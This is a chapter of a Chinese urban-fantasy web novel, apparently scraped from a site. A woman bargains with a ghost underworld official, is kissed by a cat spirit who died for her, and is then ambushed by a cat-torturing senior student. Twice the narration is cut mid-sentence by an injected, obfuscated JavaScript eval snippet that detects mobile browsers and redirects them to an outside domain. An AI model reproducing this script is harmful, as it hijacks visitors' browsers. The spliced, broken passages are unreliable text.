“嗳,他有什么特别。是比我更像人么?连白头发都藏不住的家伙……”威瑟尔喃喃自语着,他观察着镜子中的自己,试着弯了弯眼睛笑起来。 常喜乐就很喜欢这么笑。 只不过不是对着他。 杨姝一阵恶寒,壮着胆子问他:“多宝怎么了吗?你的表情怎么这么邪恶?”简直像要吃猫似的。 威瑟尔皮笑肉不笑地看了她一眼,怵得杨姝就不敢说话了。 常喜乐到街口的时候,才发现那里不止站着安平,也还有个无常。两个人似乎打斗了一场大的,这会儿都有些脱力。无常倒还好一点,他本来就死过一次,就算受伤也没什么感觉,只是法力用完后力竭而已。他夺回生死簿,又一路追到常喜乐、杨姝所在的地方,被安平死死拦住去路。安平则狼狈得多了,他全靠借力在墙壁上才没有倒下去,额角沁出大滴大滴的汗水来。 “我说,你刚死过一次。不去好好修炼回来,在这里惹阴差做什么?”无常实在是没办法了,和他打起商量来,“拜托你不要再妨碍公务好不好,有损阴德的。” 安平的余光看到靠近他们的常喜乐,又强撑着挡在她面前,隔开无常阴冷的视线,他一字一顿道:“你休想。” 无常冷笑一声:“非要我再收走你一条命才满意?上回你也是为了她以命换命吧?我倒要看看你够死个几次。” 不等安平先说话,常喜乐就开口了:“我们这儿有四个人,你斗不过的。” 无常盯着她,看不出情绪来。过了会儿才皮笑肉不笑地说:“哦,所以你打算毁约?” “不。答应了你的事,我就会做到。”常喜乐说,当初是她自己同意的,没有反悔的道理。 安平担心地看着她,刚想说话,就被常喜乐抬手拦住了话头:“但你也别想着骗我签什么不平等的合约。你帮我的忙并没有那么大吧?大部分时候你都在弥补自己的失职,诓骗我做你同事只是顺带的。” 无常不语,不过他眼神里的戾气都少了很多,大概是被说中了。 “你说个数,我可以做你一段时间的同事。”常喜乐抱着双臂,补充道,“然后你把杨姝交给我来管,等我帮她完成心愿,就会送她去入轮回。” 无常的眼睛转了转,试探道:“二十年?” 常喜乐转了转手腕,说:“我现在好像能碰到鬼魂,你不要逼我揍你。我上头可是有人的。” 如果笑语娘娘还算她干妈的话。 无常讪讪地继续讨价还价:“十年?” 常喜乐面无表情,伸出一只张开的手:“五百个魂魄。一天一个也要一年半了,做鬼别太贪心,小谢。” “行吧。”无常抽了抽嘴角,试图找回一些场子,“我怎么也算你前辈,叫我小谢成何体统?” “你自我介绍的时候就这么讲的呀?”常喜乐歪头,她突然想到,“这么一说,你姓谢,又是个白无常,莫非你就是那位大名鼎鼎的……” 呼之欲出的三个字还没出口,小谢就着急忙慌地请她住口:“那位老爷是个什么人物?你就别折我的寿了。” “你还有寿可折么?”常喜乐好笑道,“那你到底叫什么名字?” 无常皱着眉毛,回忆道:“不记得了……就知道姓谢。” 这么多年,也没人喊过他的名字啊。当年给他祭拜的人早都死完了,他在人间没有后辈、也没进族谱。名字对他而言早就是个不重要的东西了。 “你可以找人给你取一个。”一直沉默的安平突然开口,“我的名字就是别人取的。” “找谁?”无常问。 “……去寺庙里求一个吧,找大师给你赐名。”安平说不出让他找常喜乐的话,胡诌了一个方法。 “你还记得我是什么不?”无常又露出了个阴森的笑来,“真,是,找,死。” “好了好了好了!”眼看两人又掐起来了,常喜乐连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14948733|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙喊停,她对无常说,“小谢怎么了?显得多年轻呀!有种不忘初心的美!今天你也辛苦了,早点回去休息吧。赶明儿我这边完事了就找你报道,再见新同事——” 无常冷冷地看了她一眼,没再多说什么,慢慢隐匿于黑暗之中了。 剩下一个安平靠在墙壁上和她对视着,他一直没有说话,可也没有离开。 常喜乐抬起手,安平立刻紧紧闭上了眼睛。 不知怎么的,常喜乐就想起那句话:一抬手,就知道有没有打过狗。 她没忍住笑了笑,冷静地用大拇指揩掉他嘴角剩余的血迹,问:“这么害怕做什么,怕我打你?” 安平慢慢睁开眼睛,看着她,犹疑道:“你……不生我的气?” 常喜乐放下手,食指和拇指交错着捻了捻,她感受到指尖残留的余温。安平有温度,会呼吸,会流血。他分明是活着的。 可生死簿上却会有他的名字。 尽管刚才优先去救了多宝,常喜乐对此一直耿耿于怀。 “你活着吗?安平。”她问。 安平点了点头。 “但你又死过?”常喜乐又问,从语言学角度来说,这两个问题分明是相斥的,不应该同时存在。 但安平又点了点头。 那个日期的确很微妙。常喜乐在看到那个日期的一瞬间就开始计算,生死簿上记载的安平死亡时间,和她第一次见到无常的日期一模一样。 尽管小谢已经说过,但常喜乐还是艰难地再次确认:“是为了我?” 安平没有直接回答,他只是告诉她:“已经没事了,我现在不是还活着吗。” 下一秒,他有些慌张地眨了眨眼,因为常喜乐突然流下的眼泪。 常喜乐的眼眶红了,她问:“痛吗?” 安平点点头,过了会儿,他又摇摇头。他有些惶惑地看着常喜乐,轻声问:“为什么要哭呢?” 眼前的这个人,他是怎样的人,经历过什么事,有没有爱过、恨过什么人,常喜乐对此一无所知。她曾经无数次想大声地质问他到底是谁,此刻却只想痛痛快快地哭一场。 他是个为了自己死过一次的人。其他还有什么重要的呢? 下一秒,安平慢慢俯身,常喜乐看着他慢慢靠近的脸庞,瞳孔因为所视之物过近而开始虚焦。随着脸颊上传来湿润的感觉,常喜乐感觉到他正在轻轻吻去自己的泪痕。 安平身上的伤因为这动作剧烈地疼痛起来,使他呼吸间都泛着痛意。他叹息道:“别哭了……” 威瑟尔坐在椅子上,远远地望见这一幕,他咬牙切齿地站起来:“这小子……!” 一旁的杨姝不适时地惊呼道:“多宝醒了!你快去叫医生。” 威瑟尔闻言,又狠狠瞪了那无耻之徒一眼,才转身去叫了医生来查看病情。 “你不怕我吗?”安平又靠回墙上,还是不相信常喜乐就这么接受了自己非人的事实。他想她一定是受到太多惊吓,才一时忘记做出反应了。 常喜乐笑了一声,她掰着手指算起来:“通灵的室友、索命的恶鬼、勾魂的无常、讨封的黄鼠狼。”她眉眼弯弯地看向安平,说,“什么都怕,我早就被吓死了。” 62.学妹? “更何况,有时候,人比鬼怪还可怕。”常喜乐想到那个对多宝痛下狠手的男人,双拳情不自禁握紧——她一定要找出那个人是谁。 多宝醒来的时候,被两人两妖一鬼围着,有一瞬间以为自己这是死了。 它虚弱地喵喵叫了几声,喊了常喜乐、杨姝的名字,它的视线转到安平脸上的时候显而易见顿了顿,最后闭上眼睛假装没看见。 多宝:我是一个多么敬业的演员啊!jpg. 由于在场懂猫语的只有两位,常喜乐瞥了安平一眼,眼中意味不言而喻——在我面前装不认识,嗯? 安平眉眼低顺没有说话,但常喜乐再也不信他是那个乖巧温柔的安平了。威瑟尔则一脸不爽地盯着安平。 一边的工作人员不明白这僵硬的气氛是为哪般,只是问:“这边需要付一下医药费,请问哪位……” 常喜乐刚抬手就被安平按下了,他不知从哪里掏出一张卡,说:“我来吧。” 常喜乐拍掉他的银行卡,拿出手机扫码付款一气呵成。 一只猫能有什么钱,请不要再充大款了安平。常喜乐深深地看了眼安平,而安平本人还在不明所以,盯着手上没用出去的银行卡看。 等常喜乐往学校走的时候,已经非常晚了,路上基本没有行人。常喜乐不时看一眼手机时间,步伐逐渐加快。而跟在她身后的脚步也跟着急促起来。 她忍不住回头问:“为什么一直跟着我?”下一秒常喜乐赶紧对有些受惊的杨姝安抚地笑了一下:“没说你喔,乖乖。”杨姝现在已经算她手下管的鬼了,跟着她是应该的! “听见没,说你呢。”威瑟尔迅速地对安平嗤了一声。 安平抬眼看他,平静地反驳:“说的是你。” “说的是你们俩。”常喜乐皮笑肉不笑地挥了挥手,“女生宿舍男生止步,拜拜。” 但很快常喜乐就后悔花时间和他们掰扯这些了,她拽了拽学校西边的大铁门,悲痛地低头说:“门禁了。” 杨姝倒是很顺利地飘过去了,安平和威瑟尔也能很轻易地化形从栏杆空隙钻过去。只有此刻最需要回宿舍的常喜乐,被拦在外面! 常喜乐这才想起来查看手机消息,宿舍群已经叠起了万丈高楼——起因是小艾想请常喜乐带点夜宵回来,但很快她们就发现常喜乐似乎没有回宿舍的意思。 小艾:[还会回来吗喜乐,再见的日子你要幸福……你要快乐……] 任妹:[快要门禁了,今晚还回吗?] 但常喜乐一直没有回复,她们就自顾自讨论起来了。 小艾:[难道是在约会嘛?今天我朋友还跟我说看见我们宿舍的小漂亮和一个贼帅的西装男在咖啡店见面] 任清:[夜不归宿是不行的哦喜乐!!] 然后就是方信艾和任清关于能不能和喜欢的男生出去过夜的几百条争论,最后被杨瑰司打断。 王鬼:[为什么你们不直接说话,不是都在寝室吗?] 小艾:[我还以为你睡了] ……常喜乐悲痛地在群里冒泡 (^v^) :[被关在校外了TAT] 小艾:[不会吧!咱们楼的宿舍阿姨可是超级铁面无私,说不开门就真不开的] 杨瑰司又私下给常喜乐发了消息。 王鬼拍了拍(^v^)告诉她世界上没鬼 王鬼:[要不晚上你先住我家?] 王鬼:[不对。感觉不是很安全,那个女鬼现在还不知道在哪飘着呢。] 常喜乐和在她身边飘着的杨姝对视一眼。杨姝突然问:“要不住我家?” 似乎看出常喜乐的顾虑,她展示了一下自己的恐怖样子,说:“要是那两个坏人还敢来,我就把他们都吓跑!” 常喜乐几乎要习惯地闭上眼睛说:“好好好,但是你以后不要再变成这样吓我了好吗?我的心脏很脆弱。” “你以后要面对的鬼可比她要吓人多了,这位新晋活无常。”安平又出来,抱臂靠在铁门上看她,对她刚才答应那个无常的约定还颇有微词,“不是说不会怕了?” “‘不怕鬼’和‘突脸被吓到’很冲突吗?”常喜乐想到以后的悲惨生活,恼羞成怒地对杨姝一勾手说,“我们走!”,随后就扬长而去了。 威瑟尔幸灾乐祸地对安平吹了个口哨,就跟上了常喜乐。 几人一起走了一段时间,常喜乐在宿舍群报完平安表示晚上有去处之后,再次转头看向威瑟尔和安平:“你们都回家吧,很晚了,也该休息了。” 她这次说得很认真,没有赌气的意思。威瑟尔看了眼安平,见他停下了脚步,也就没有再执意向前。 等目送着常喜乐的背影越来越远后,威瑟尔看着安平,问:“你打算去哪?” 安平看了他一眼,在无人的街道变回了那只蓝眼狮子猫,一下穿过铁栅栏不见了踪影。 “啧。”威瑟尔不方便变回原形,在常喜乐完成第三个愿望之前,他都会一直是个跛足。 不过,威瑟尔望着漆黑的夜空,缓缓吐出一口长气来,他竟然希望,她能够晚点再说出第三个愿望来。 常喜乐问杨姝:“你的家门钥匙放在哪呢?” “放在出租屋边电箱里面的小盒子里。”杨姝对自己藏备用钥匙的思路非常满意。 常喜乐却觉得这方法不是很安全:“小偷一摸索就能找到了吧?” “你放心吧,我变成鬼之后一直待在家里。没人发现过我的钥匙。”杨姝拍拍自己的胸脯肯定地说。 常喜乐这么笑着和杨姝一起走到了出租屋所在的哪层楼,然而在走到楼梯台阶的一半时,她透过月光发现一个黑影靠在门上。 杨瑰司在宿舍里待着,不可能是她。这么晚了,是什么邻居的可能性也不大。 常喜乐感觉似乎在黑暗中与对方对视了。 “今天在树林里的那个人,是你吗?”夜色中,那个黑影幽幽地发问,他精准叫出了她的名字,“常喜乐?” 常喜乐没有丝毫犹豫地后退往楼下跑,黑影中的那个人挥了挥手,两个男人就从后方包抄了上来。 常喜乐缓步后退,直到后背靠在了楼梯中层的大玻璃窗边。她回头看了眼,这里已经是四楼,楼层非常高。 “我听不明白你在说什么。”常喜乐一边装傻,一边不动声色地从怀里拿出威瑟尔给她的黑色铃铛。 “我一开始以为,特别的是那只小花猫,居然能和人类进行对话。结果不管怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14952575|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝试,那死猫都没展现出让我满意的能力。”那人慢慢地走下台阶,月光逐渐照亮他的全身,直到显露出他的脸庞,他的声音极致温柔,但从中常喜乐却只能感觉到阴森气息,“没想到,原来特别的是你呀,学妹?” “陈墨芯?”常喜乐看清楚这人的脸后脱口而出他的名字,“你怎么知道我在这?” “怎么见面也不叫我声学长?真是让人伤心。”陈墨芯的手中还端了个红酒杯,他嘴角噙着笑,不紧不慢地告诉她,“本来我也不大确定呢,但一直听我的手下说这个屋子里有怪事儿。想来同时知道小花猫和那个女孩的死猫在哪的人,应该也会回到这个地方吧?” “有没有人和你说过,你害怕的样子,真是美极了?”他端起酒杯,向常喜乐所在的方向一敬,高兴地说,“Prosit!” 红酒顺着杯沿洒出,常喜乐撇过脸去,但还是被一部分酒液打湿了脸颊和衣襟。她咬着牙,没有多花任何情绪,只是暗中摇响了铃铛,但她还没来得及默念出威瑟尔的名字,就被上前来的两个男人一人拧住一边手腕。铃铛脱手掉在了角落,但因为夜色太深,它也不会响动,所以并没有被发现。 杨姝在一边无计可施,她怒吼着拦在两个男人面前,但被他们视若无睹地穿过。 “这次我念的口音是不是准多啦?”陈墨芯走下台阶来到了常喜乐面前,盯着她燃烧着怒火的眼睛不住地笑。 “你想怎么样?”常喜乐问他,脑子里不断闪过一系列应对措施,又被她一一排除。在她想出办法之前,只有一个拖字诀。 “请你替我当个翻译呀?”陈墨芯背着手在她面前踱步,回头看她,“你知道的,有时候光听猫惨叫也挺没意思,得知道它们到底在说啥,心里才痛快呢。” “你这个混蛋!”常喜乐想起了今天在树林里多宝不住地哀嚎,还有前段时间小嘉在录音机里发出被虐待的惨叫,这样的惨遇不知道有多少无辜的猫经历过,她怒不可遏地抬起脚想踹向他,又被两个男人按回墙上,“那个爱心贷背后的主谋是不是也是你?你简直丧尽天良、你不得好死!” “不过,听你的惨叫,好像也挺有意思的。”陈墨芯看着她,眼神突然变化了,他笑着捏住她的脸颊,说,“观月台那天我就想告诉你,你的眼睛像猫眼一样又大又圆,我真想把它们挖出来好好珍藏……” 下一秒,扣住常喜乐手的两个男人突然发出一声惨叫,他们的手腕以不正常的形态向外翻转。陈墨芯不明所以地看着他们俩,一时不察,被恢复自由的常喜乐一脚踹在下腹。 他痛呼一声坐倒在地上。 常喜乐啧了一声,她刚才脚麻了,否则应该要踹在他的要害。 “我会报警的,你们一个都逃不了。”常喜乐捡起墙角的铃铛,吹掉上面的灰尘,踉跄地向楼下走去。 “你有证据吗?”陈墨芯还在倒吸冷气,他什么时候吃过瘪?却在常喜乐这被打了好几次脸。他恨恨地盯着常喜乐的背影,突然从手下人的腰包里拿出把刀来挥向常喜乐。 但他的刀柄在下一个瞬间就被震开,陈墨芯再次痛呼一声跪在地上。他抬起头恶狠狠地看向前方,在常喜乐的身后,有个年轻的白发男人揽住了她的肩膀,神色冰冷地与他对视。